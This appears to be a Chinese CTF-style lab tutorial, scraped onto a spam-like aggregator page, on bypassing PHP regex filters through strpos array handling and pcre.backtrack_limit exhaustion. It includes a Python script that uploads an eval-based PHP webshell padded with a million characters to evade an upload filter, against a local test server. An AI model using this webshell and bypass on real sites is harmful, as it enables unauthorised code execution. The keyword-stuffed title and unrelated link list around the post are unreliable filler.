当前位置: 首页 > news >正文

济南建网站多少钱怎么找网站啊

济南建网站多少钱,怎么找网站啊,自定义手机网站建设,wordpress 空间推荐目录 利用strpos的特性拿到flag 利用回溯绕过正则表达式 利用回溯次数绕过正则表达式并且实现文件上传 使用回溯绕过正则表达式waf拿到flag 本篇会讲解三个实验来分别绕过正则表达式#xff0c;python的正则表达式和Javascript的正则表达式大致相同如果有正则表达式不太懂…目录 利用strpos的特性拿到flag 利用回溯绕过正则表达式 利用回溯次数绕过正则表达式并且实现文件上传 使用回溯绕过正则表达式waf拿到flag 本篇会讲解三个实验来分别绕过正则表达式python的正则表达式和Javascript的正则表达式大致相同如果有正则表达式不太懂的小伙伴也可以看一下我之前写过的一篇关于Javascript正则表达式的文章Javascript正则表达式 利用strpos的特性拿到flag 在看利用回溯绕过正则表达式waf之前我们首先看这样一个案例利用!来拿到flag 现在有一个php文件设置了防御机制我们应该如果进行绕过 ?php // 利用回溯绕过正则表达式 function areyouok($greeting){ return preg_match(/Merry.*Christmas/is,$greeting);//正则匹配 } $greeting$_POST[greeting]; //它是处理字符串如果你传一个数组直接返回nullif(!areyouok($greeting)) //如果正则为假{if(strpos($greeting,Merry Christmas) ! false){//字符查找如果查找到返回字符的位置没有就返回null// strpos查看指定字符的首次出现位置echo Mearry Christmas. .flag{i_lov3_NanHang_everyThing};}else{echo Do you know .swp file?;} }else{echo DO you know PHP?;}我们可以利用弱类型 来进行绕过由于if条件判断中对我们提交的grerting进行了strpos函数的处理这个函数有一个特性它是处理字符串如果传入了一个数组就会直接返回返回null 然后我们又知道 null ! false 的结果是false  null false 的结果是 true 这里可以参考这两张表 可以利用这一点给greeting中传入一个非字符串的值比如说数组来让if条件判断的结果为真即!的结果为真null ! false为真这样我们就可以成功的拿到flag了 测试一下 可以看到我们确实是拿到了flag 但是如果上面的代码修改成这个样子那我们应该怎么绕过呢 ?php function areyouok($greeting) {return preg_match(/Merry.*Christmas/is,$greeting); } $greeting$_POST[greeting]; //它是处理字符串如果你传一个数组直接返回null if(!is_array($greeting)){if(!areyouok($greeting)){if(strpos($greeting,Merry Christmas) ! false){//字符查找如果查找到返回字符的位置没有就返回null// strpos查看指定字符的首次出现位置// 特性它是处理字符串如果传入了一个数组就会返回echo Mearry Christmas. .flag{i_lov3_NanHang_everyThing};}else{echo Do you know .swp file?;} }}else{echo DO you know PHP?;} ? 这里就需要我们的回溯来进行绕过了 利用回溯绕过正则表达式 这里首先我们需要知道一个NFA和DFA引擎 正则表达式是一个可以被「有限状态自动机」接受的语言类。 「有限状态自动机」其拥有有限数量的状态每个状态可以迁移到零个或多个状态输入字串决定执行哪个状态的迁移。 而常见的正则引擎又被细分为 DFA确定性有限状态自动机与 NFA非确定性有限状态自动机。他们匹配输入的过程分别是 DFA: 从起始状态开始一个字符一个字符地读取输入串并根据正则来一步步确定至下一个转移状态直到匹配不上或走完整个输入 NFA从起始状态开始一个字符一个字符地读取输入串并与正则表达式进行匹配如果匹配不上则进行回溯尝试其他状态 由于 NFA 的执行过程存在回溯所以其性能会劣于 DFA但它支持更多功能。 大多数程序语言都使用了 NFA 作为正则引擎其中也包括 PHP 使用的 PCRE 库。 注js的引擎是DFAPHP的引擎是NFA这也是可以被回溯可以绕过waf的原因 PHP 的 pcre.backtrack_limit 限制利用 PHP 为了防止正则表达式的拒绝服务攻击reDOS给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。 我们可以通过 var_dump(ini_get(pcre.backtrack_limit));的方式查看当前环境下的上限 这里有个有趣的事情就是 PHP 文档中中英文版本的数值是不一样的 中文为10万 英文为100万 我们应该以英文版为参考。 可见回溯次数上限默认是 100 万。那么假设我们的回溯次数超过了 100 万会出现什么现象呢 我们通过发送超长字符串的方式使正则执行失败即可以在传入的代码中传入100万个字符让将正则的回溯次数消耗完那么正则就失效了最后绕过目标对 PHP 语言的限制。 这里可以举一个例子 现在有一个文件上传的后端php代码中设置了正则表达式waf 利用回溯次数绕过正则表达式并且实现文件上传 ?php function is_php($data) {return preg_match(/\?.*[(;?)].*/is,$data); //这里是一个正则用于防御php文件的上传 } if (empty($_FILES)) //这里判断是不是文件 {die(show_source(__FILE__)); //打印出源码 } $user_dir md5($_SERVER[REMOTE_ADDR]); $data file_get_contents($_FILES[file][tmp_name]); //获取文件内容 if(is_php($data)){die (bad request); } else{mkdir($user_dir,0755);$path $user_dir . / . oupeng. .php;move_uploaded_file($_FILES[file][tmp_name],$path);header(Location:$path,true,303); } //任意命令执行 我们就可以利用正则表达式的回溯次数 实现文件上传 编写pythonPOST提交代码 from requests import post,get from requests import post payload{greeting:Merry Christmas } respost(http://127.0.0.1/openlab/xss/regexp/demo4.php,datapayload) print(res.text) 这里我们还没有增加绕过先看看结果 可以看到这里因为有正则waf的限制我们无法上传一个.php后缀的文件 现在我们增加100万个字符在里面 from requests import post,get from io import BytesIO urlhttp://127.0.0.1/openlab/xss/regexp/demo5.php files {file: BytesIO(baaa?php eval($_POST[123]);// ba *1000000) } res post(url,filesfiles,allow_redirectsFalse) print(res.text) 再去查看结果 很明显我们已经成功的利用回溯次数绕过了waf拿到了flag 那些我们也可以在文件中看看我们上传的.php文件是否上传成功 很明显这里新建了一个文件夹文件夹下有一个php文件里面有很多a我们这里就成功的绕过了php的限制下面我们就可以直接使用蚁剑来连接 到这里我们这个实验就完成了这个实验说明利用正则的回溯次数确实是可以绕过正则表达式的 最后那就试着使用回溯来绕过那个加强版的题目 使用回溯绕过正则表达式waf拿到flag 这里就不用多说了直接给传入的值中增加100万个字符试试 demo2.php的代码前民已经给出了 这里是python的代码 from requests import post,get payload{greeting:Merry Christmas a * 1000000 } respost(http://127.0.0.1/openlab/xss/regexp/demo2.php,datapayload) print(res.text) 可以看到成功的拿到了flag到这里利用回溯绕过waf的实验就已经全部完成了 总结一下 1、我们利用strpos函数会将非字符串的值当做null!来绕过了最基本的正则 2、利用回溯我们也可以绕过文件上传的后缀名限制上传webshell 3、利用回溯我们绕过了正则表达式的限制成功的拿到了flag
http://www.zqtcl.cn/news/534654/

相关文章:

  • 专门做商标的网站有哪些wordpress新文章加new
  • 全国商务网站大全木樨园网站建设公司
  • 网站搜索排名和什么有关系嘉兴建设局网站
  • 创建免费网站注意事项电商网站建设价格低
  • 网站开发接私单企业软文范例
  • 浙江省建设培训中心网站首页wordpress如何修改上传文件大小
  • 网站建设需要什么语言学完html怎么做网站
  • 国内外网站建设wordpress评论嵌套样式修改
  • 广州网站制作系统市场监督管理局投诉电话
  • 局域网建网站的详细步骤海南省建设网站的公司
  • 长沙市网站建设推广绵阳网站推广排名
  • 美容手机网站模板招标
  • 怎样用虚拟主机建网站访客可以用微信回复wordpress
  • 什么做网站做个网站一般要多少钱啊做网站界面尺寸
  • 装修网站怎样做网站中如何做图片轮播
  • 未备案网站如何加cdn河北网站制作
  • 出版社网站建设方案微信公众号h5网站开发
  • 南京建行网站云主机开网站教程
  • 炫酷表白网站在线制作微网站栏目图标
  • 西安做兼职网站设计昆山做网站的公司有哪些
  • vue手机网站开发买域名价格
  • 济南网站推广优化外包合肥住房和城乡建设部网站
  • 商品定制平台网站江苏港口建设费申报网站
  • 仿站酷网站模板网站建设捌金手指花总六
  • 南通网站建设计划书抖音关键词seo系统
  • 怎么做服务器网站下载链接生产类营销型网站
  • 做网站网站内容怎么找微信公众号免费做影视网站
  • 投资公司网站建设意义做一个网站成本大概多少钱
  • 网站建设的简洁性wordpress积分换购
  • 手机网站赏析做外贸女装有哪些网站有哪些